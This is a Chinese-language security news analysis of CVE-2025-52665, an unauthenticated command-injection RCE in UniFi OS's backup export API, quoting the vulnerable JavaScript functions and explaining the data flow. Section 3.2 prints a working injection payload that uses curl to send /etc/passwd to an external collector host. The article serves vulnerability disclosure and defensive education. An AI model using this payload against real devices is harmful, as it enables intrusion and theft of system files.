資訊安全新聞

API 邏輯缺陷釀成大禍！UniFi OS RCE 完整攻擊流程圖解

摘要

這份報告提供對 UniFi OS 平台中，一個識別為 CVE-2025-52665 的未經認證 遠端程式碼執行 (RCE) 漏洞之詳細技術分析。該漏洞源於備份協調程序中的一個關鍵設計瑕疵，其中一個可從外部存取的 API 端點可被強制觸發一個內部、未經認證的 API 呼叫。至關重要的是，一個使用者提供的參數在未經適當清理的情況下被插入到一個 shell 命令中，導致經典的 shell command injection 漏洞。本分析重點放在 資料流 、有漏洞的 JavaScript 函式、利用 shell metacharacter 的攻擊技術，以及類似 API 安全瑕疵的廣泛環境。

API 邏輯缺陷釀成大禍！UniFi OS RCE 完整攻擊流程圖解 | 資訊安全新聞

1. 簡介

在網路基礎設施裝置中發現未經認證的 RCE 漏洞，代表了高嚴重性的安全風險，通常允許在不需要任何事先認證的情況下，完成系統被攻陷。這個漏洞，CVE-2025-52665，存在於 UniFi OS 內部，特別是在負責管理系統備份的機制中 [1] 。核心問題是一連串不安全的設計模式：一個缺乏適當存取控制的錯誤 設定 API 端點，以及一個信任並在 shell 環境中執行未經清理的外部輸入的內部程序。本分析旨在剖析此瑕疵的技術基礎，提供對攻擊途徑和必要緩解策略的全面理解。

2. 漏洞協調和資料流

此漏洞並非單一暴露端點的直接瑕疵，而是一個將外部請求橋接到敏感內部功能的協調問題。負責匯出備份的內部功能，被設計為僅監聽迴路介面 ( 127.0.0.1:<appPort> )，並且預期只能被本機協調器服務(local orchestrator service)觸及 [1] 。

攻擊路徑涉及在 UniFi Core 版本中識別的兩個關鍵 JavaScript 函式： YO 和 zf 。

2.1 內部 API 呼叫 ( `YO` )

YO 函式負責建構並發送請求到內部、僅限迴路的備份匯出端點。該函式接受兩個參數： e (目標應用程序的通訊埠號) 和 t (備份的目錄路徑 )。

下面的程式碼片段說明了目錄路徑 ( t ) 如何直接被序列化到內部 POST 請求的 JSON 主體中：

var YO = async (e, t) => {
  // r: The internal loopback URL for the backup export endpoint
  let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,
      o = await k(r, {  
        method: "POST",
        // The user-controlled 'dir' parameter ('t') is passed directly into the JSON body
        body: JSON.stringify({ dir: t }), 
        headers: { "Content-Type": "application/json" }
      });
  // ... error handling
};

如觀察所見， t 的值 (對應於 dir 參數) 在沒有任何驗證或過濾的情況下被傳遞到請求主體中 [1] 。

2.2 高階控制器 ( `zf` )

zf 函式充當高階控制器，決定是遠端提取備份還是觸發本機匯出。至關重要的是，它是從外部、未經認證的請求中接收 outputDir 並將其直接傳遞給 YO 的函式。

zf = async ({ port: e, outputDir: t, name: r }) => {
	try {
		// ... validation checks
		if (...) {
			// Backup handled by another device via API
			// ...
		} else {
			// HERE: 't' (outputDir) is passed to YO, which sends it to the internal API
			await Fe(() => YO(e, t), ...);        
		}
		// Subsequent operations use the unsanitized 't' (outputDir) in shell commands
		// The internal export handler (not shown) also uses 't' in shell commands (mktemp, tar)
		await J("chmod", ["-R", "775", t]);        // 't' is used in chmod shell command
		let s = await AEe(t);                      // 't' is used in du -s shell command
		// ...
	} catch (o) {
		// ...
	}
}

該漏洞之所以產生，是因為內部匯出 處理器 在接收到 dir 參數後，將此值插入到 shell 命令中，例如 mktemp 、 chmod 、 tar 和 du -s [1] 。由於 zf 函式將來自外部來源的 outputDir 饋送到 YO ，而內部 處理器 直接在 shell 命令中使用此值，這為命令注入創造了條件。

3. 命令注入途徑

RCE 的根本原因是在 shell 執行 dir 參數之前未能對其進行清理。這是一個經典的作業系統命令注入漏洞範例，也是 RCE 的常見途徑，正如在涉及 API 瑕疵和命令執行的其他安全事件中所見 [2, 3] 。

3.1 攻擊流程視覺化

下圖說明了有漏洞的 資料流 ，重點標示了從外部請求到最終 shell 執行的路徑：

graph TD A[External Request] --> B{"Orchestrator (zf)"}; B --> C{"Internal API Call (YO)"}; C --> D[Internal Export Handler]; D --> E[Shell Command Execution]; subgraph Vulnerable Data Flow A -- dir parameter --> B; B -- outputDir/dir --> C; C -- JSON body --> D; D -- Interpolation --> E; end E -- Shell Injection --> F[RCE Achieved];

圖 1：導致 RCE 的有漏洞 資料流

該圖清楚地顯示了未經清理的 dir 參數從外部請求流經協調器 (zf) 和內部 API 呼叫 (YO) 到最終 shell 命令執行的流程，其中缺乏過濾啟用了 RCE。

3.2 漏洞利用 Payload 分析

最初嘗試使用簡單的命令分隔符 ( ; ) 來利用該漏洞失敗了，因為 shell 被原始命令列的殘餘 token (例如， mktemp/chmod/tar pipeline 的其餘部分) 留在了語法無效的狀態 [1] 。

成功的漏洞利用需要一個不僅注入所需的命令，而且還使原始 shell 命令剩餘部份無效化、未解析部分的 payload 。這是透過使用 shell 註解字元 ( # ) 實現的。

成功的 payload 結構如下：

{
"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"
}

Payload 拆解：

"/tmp/catchify-" : 一個有效的字首，以滿足任何初始路徑要求。
; : 命令分隔符，它終止原始 shell 命令參數，並允許注入一個新命令。
curl -s --data-binary @/etc/passwd http://test.oastify.com/ : 注入的命令，此處用於資料外洩。
; : 終止注入的 curl 命令。
# : shell 註解字元，它導致 shell 忽略該行上所有後續字元。這有效地註解掉了原始命令列中的殘餘 token ，防止語法錯誤，並確保注入的命令乾淨地執行 [1] 。

這種對 shell metacharacter 的精確使用，展示了對有漏洞應用程序如何建構和執行其底層系統命令的複雜理解。執行任意命令的能力，包括建立 Reverse shell ，證實了 RCE 的嚴重性 [1] 。

4. API 安全瑕疵的廣泛環境

CVE-2025-52665 漏洞是一個關於不安全的 API 設計如何導致嚴重安全故障的案例研究。核心問題 — 內部功能缺乏存取控制以及未能驗證/清理輸入 — 是現代應用程序安全中的重複主題。

其他最近的安全研究強調了類似的攻擊途徑：

透過命令注入實現未經認證的 RCE： SysAid 地端部署版中的一個漏洞鏈也利用了多個漏洞，包括 OS Command Injection，以達到 SYSTEM 等級的未經認證 RCE [2] 。這與 UniFi OS 瑕疵相似，其中外部入口點缺乏認證導致了完整的系統攻陷。
API 錯誤設定和輸入瑕疵： Insomnia API Client 被發現容易受到 Server-Side Template Injection ( SSTI ) 的影響，這也可能導致 RCE [3] 。同樣地，對 CEF 應用程序的研究所顯示，未清理的 設定檔 如何導致 CSS 注入，然後再與內部 API 連結以實現命令注入和 RCE [4] 。這些範例強調了這樣一個原則：任何輸入，無論是來自外部使用者還是內部服務，在用於 shell 執行等敏感操作之前，都必須被視為不受信任並經過嚴格驗證。

UniFi OS 漏洞特別凸顯了假設內部服務本質上是安全的危險性。單純依賴網路分段 (迴路介面) 來實現安全性的設計模式，同時允許一個外部、未經認證的服務充當該內部服務的未經驗證代理，造成了關鍵的安全邊界失效。

5. 結論

UniFi OS 中的 CVE-2025-52665 RCE 是一個高風險的漏洞，源於糟糕安全實踐的結合：API 存取控制、設定錯誤 和關鍵的命令注入瑕疵。對 YO 和 zf 函式的技術分析揭示了未經認證的外部請求如何透過備份匯出 例行程序 將任意 shell 命令注入到作業系統中的確切機制。成功的漏洞利用取決於對 shell metacharacter ( ; 和 # ) 的精確使用，以繞過原始命令的殘餘語法。此事件是一個重要的提醒，強調了嚴格輸入驗證、輸出編碼和最小權限原則的必要性，特別是當使用者提供的資料被傳遞給系統級命令時。

摘要